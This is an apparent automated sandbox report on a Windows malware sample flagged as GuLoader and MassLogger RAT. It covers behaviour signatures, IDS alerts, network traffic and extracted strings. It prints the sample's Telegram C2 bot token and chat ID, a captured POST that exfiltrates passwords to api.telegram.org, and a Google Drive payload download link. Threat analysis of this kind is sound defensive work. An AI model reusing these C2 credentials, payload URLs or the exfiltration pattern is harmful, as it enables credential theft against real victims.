Edit tour

Windows Analysis Report
m0CZ8H4jfl.exe

Overview

General Information

Sample name:	m0CZ8H4jfl.exe renamed because original name is a hash value
Original sample name:	d279cafd050cd071af764df4cc856e9e188ce0c920d13429a3b33129c7e4cee2.exe
Analysis ID:	1587963
MD5:	ad29d6168abbec988896c57d4d25e2ed
SHA1:	469b06a2d18997abeb8829bd6e495cdfee811270
SHA256:	d279cafd050cd071af764df4cc856e9e188ce0c920d13429a3b33129c7e4cee2
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

m0CZ8H4jfl.exe (PID: 7280 cmdline: "C:\Users\user\Desktop\m0CZ8H4jfl.exe" MD5: AD29D6168ABBEC988896C57D4D25E2ED)

m0CZ8H4jfl.exe (PID: 7628 cmdline: "C:\Users\user\Desktop\m0CZ8H4jfl.exe" MD5: AD29D6168ABBEC988896C57D4D25E2ED)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1793597999.0000000004978000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000003.00000002.2635144470.0000000003638000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: m0CZ8H4jfl.exe PID: 7628	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: m0CZ8H4jfl.exe PID: 7628	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: m0CZ8H4jfl.exe PID: 7628	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 3 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:56:32.177767+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49978	149.154.167.220	443	TCP
2025-01-10T19:56:33.861648+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49980	149.154.167.220	443	TCP
2025-01-10T19:56:35.693207+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49982	149.154.167.220	443	TCP
2025-01-10T19:56:37.490510+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49984	149.154.167.220	443	TCP
2025-01-10T19:56:39.489661+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49986	149.154.167.220	443	TCP
2025-01-10T19:56:41.456118+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49988	149.154.167.220	443	TCP
2025-01-10T19:56:43.133611+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49990	149.154.167.220	443	TCP
2025-01-10T19:56:44.714361+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49992	149.154.167.220	443	TCP
2025-01-10T19:56:46.560662+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49994	149.154.167.220	443	TCP
2025-01-10T19:56:48.242610+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49996	149.154.167.220	443	TCP
2025-01-10T19:56:50.101630+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	49998	149.154.167.220	443	TCP
2025-01-10T19:56:52.036258+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50000	149.154.167.220	443	TCP
2025-01-10T19:56:53.769670+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50002	149.154.167.220	443	TCP
2025-01-10T19:56:55.394028+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50004	149.154.167.220	443	TCP
2025-01-10T19:56:57.036409+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50006	149.154.167.220	443	TCP
2025-01-10T19:56:58.782032+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50008	149.154.167.220	443	TCP
2025-01-10T19:57:00.408259+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50010	149.154.167.220	443	TCP
2025-01-10T19:57:02.211258+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50012	149.154.167.220	443	TCP
2025-01-10T19:57:03.848515+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T19:57:05.506662+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50016	149.154.167.220	443	TCP
2025-01-10T19:57:07.300338+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50018	149.154.167.220	443	TCP
2025-01-10T19:57:09.117249+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50020	149.154.167.220	443	TCP
2025-01-10T19:57:10.850360+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T19:57:12.700886+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50024	149.154.167.220	443	TCP
2025-01-10T19:57:14.362942+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T19:57:16.226507+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T19:57:17.839667+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T19:57:19.456246+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T19:57:21.448036+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T19:57:23.378003+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T19:57:25.113171+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T19:57:26.997515+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T19:57:29.619187+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T19:57:31.750008+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50044	149.154.167.220	443	TCP
2025-01-10T19:57:33.598481+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50046	149.154.167.220	443	TCP
2025-01-10T19:57:39.793053+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.9	50048	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:56:23.891367+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49975	193.122.6.168	80	TCP
2025-01-10T19:56:30.891377+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49975	193.122.6.168	80	TCP
2025-01-10T19:56:33.032027+0100	2803274	2	Potentially Bad Traffic	192.168.2.9	49979	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:56:18.646039+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49973	142.250.185.110	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:56:31.807597+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49978	149.154.167.220	443	TCP
2025-01-10T19:56:33.618945+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49980	149.154.167.220	443	TCP
2025-01-10T19:56:35.330479+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49982	149.154.167.220	443	TCP
2025-01-10T19:56:36.964352+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49984	149.154.167.220	443	TCP
2025-01-10T19:56:39.028995+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49986	149.154.167.220	443	TCP
2025-01-10T19:56:40.972524+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49988	149.154.167.220	443	TCP
2025-01-10T19:56:42.787510+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49990	149.154.167.220	443	TCP
2025-01-10T19:56:44.379360+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49992	149.154.167.220	443	TCP
2025-01-10T19:56:46.219496+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49994	149.154.167.220	443	TCP
2025-01-10T19:56:47.844249+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49996	149.154.167.220	443	TCP
2025-01-10T19:56:49.523005+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	49998	149.154.167.220	443	TCP
2025-01-10T19:56:51.474015+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50000	149.154.167.220	443	TCP
2025-01-10T19:56:53.341257+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50002	149.154.167.220	443	TCP
2025-01-10T19:56:55.067585+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50004	149.154.167.220	443	TCP
2025-01-10T19:56:56.718469+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50006	149.154.167.220	443	TCP
2025-01-10T19:56:58.352507+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50008	149.154.167.220	443	TCP
2025-01-10T19:57:00.088414+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50010	149.154.167.220	443	TCP
2025-01-10T19:57:01.883437+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50012	149.154.167.220	443	TCP
2025-01-10T19:57:03.527252+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50014	149.154.167.220	443	TCP
2025-01-10T19:57:05.151965+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50016	149.154.167.220	443	TCP
2025-01-10T19:57:06.936842+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50018	149.154.167.220	443	TCP
2025-01-10T19:57:08.567100+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50020	149.154.167.220	443	TCP
2025-01-10T19:57:10.433174+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50022	149.154.167.220	443	TCP
2025-01-10T19:57:12.362356+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50024	149.154.167.220	443	TCP
2025-01-10T19:57:14.069016+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T19:57:15.709271+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T19:57:17.521702+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T19:57:19.212304+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T19:57:20.936355+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T19:57:23.096862+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T19:57:24.780435+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T19:57:26.774780+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T19:57:29.270759+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T19:57:31.445917+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50044	149.154.167.220	443	TCP
2025-01-10T19:57:33.309516+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50046	149.154.167.220	443	TCP
2025-01-10T19:57:39.436070+0100	1810008	1	Potentially Bad Traffic	192.168.2.9	50048	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd317e95a26f14Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034C5E000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034985000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034BD0000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000349C7000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000349C3000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034A2A000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034C5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndn
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034C5E000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034BD0000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000349C7000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034A2A000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347C1000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034C5E000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034985000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034BD0000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000349C7000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034A2A000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347C1000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2662908306.0000000037080000.00000004.00000020.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000003.2518298359.0000000037143000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: m0CZ8H4jfl.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034C5E000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034985000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034BD0000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000349C7000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.000000003489B000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034887000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034A2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034B47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.orgt
Source: m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: m0CZ8H4jfl.exe, 00000003.00000002.2637853910.00000000040A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: m0CZ8H4jfl.exe, 00000003.00000002.2637853910.00000000040E1000.00000004.00000020.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2658721205.0000000033990000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1t3Ywt6vnH907sJTvu0e7Lz4I8WNHZFcN
Source: m0CZ8H4jfl.exe, 00000003.00000002.2637853910.0000000004118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/1W
Source: m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2637853910.00000000040FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1t3Ywt6vnH907sJTvu0e7Lz4I8WNHZFcN&export=download
Source: m0CZ8H4jfl.exe, 00000003.00000002.2637853910.00000000040FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1t3Ywt6vnH907sJTvu0e7Lz4I8WNHZFcN&export=downloadK
Source: m0CZ8H4jfl.exe, 00000003.00000002.2637853910.0000000004118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/xW
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189ec
Source: m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 142.250.185.110:443 -> 192.168.2.9:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.161:443 -> 192.168.2.9:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49978 version: TLS 1.2

Source: C:\Users\user\Desktop\m0CZ8H4jfl.exe

